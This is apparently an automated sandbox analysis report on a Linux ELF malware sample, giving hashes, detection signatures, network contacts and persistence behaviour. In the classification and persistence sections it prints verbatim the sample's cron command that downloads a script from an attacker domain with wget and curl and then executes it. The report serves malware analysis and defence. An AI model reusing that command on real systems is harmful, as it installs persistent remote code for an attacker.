Linux Analysis Report
nsharm5.elf

Overview

General Information

Sample name: nsharm5.elf
Analysis ID: 1542854
MD5: ec377a1b6a816a87c4874e7b04e53ab4
SHA1: e8e06aaacde689c4a8703aa7ff62d7442d541aca
SHA256: f8c9ae564656a7a30d4dcb95719e593e081a82a472a220e95c99096f35398795
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nsharm5.elf ReversingLabs: Detection: 21%
Found strings indicative of a multi-platform dropper
Source: tmp.ueTw0E.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 91.149.218.232 ports 22016,0,1,2,6,16557
Source: global traffic TCP traffic: 31.13.248.89 ports 0,1,2,3,6,21063
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:53754 -> 31.13.248.89:21063
Source: global traffic TCP traffic: 192.168.2.13:50464 -> 91.149.218.232:22016
Source: global traffic TCP traffic: 192.168.2.13:36118 -> 213.182.204.57:20480
Sample listens on a socket
Source: /tmp/nsharm5.elf (PID: 5450) Socket: 127.0.0.1:1172 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.ueTw0E.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/1@6/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 5456) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5455) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 5455) File: /var/spool/cron/crontabs/tmp.ueTw0E Jump to behavior
Source: /usr/bin/crontab (PID: 5455) File: /var/spool/cron/crontabs/root Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/nsharm5.elf (PID: 5452) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nsharm5.elf (PID: 5450) Queries kernel information via 'uname': Jump to behavior
Source: nsharm5.elf, 5450.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5457.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5503.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp Binary or memory string: Px86_64/usr/bin/qemu-arm/tmp/nsharm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nsharm5.elf
Source: nsharm5.elf, 5450.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5457.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5503.1.0000560b75998000.0000560b75b0e000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: nsharm5.elf, 5450.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5457.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5503.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: nsharm5.elf, 5450.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5457.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5503.1.0000560b75998000.0000560b75b0e000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: nsharm5.elf, 5503.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
213.182.204.57
 unknown Latvia
9009 M247GB false
91.149.218.232
 unknown Poland
198401 GECKONET-ASPL true
31.13.248.89
 unknown Bulgaria
34224 NETERRA-ASBG true

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true
kingstonwikkerink.dyn 185.82.200.181 true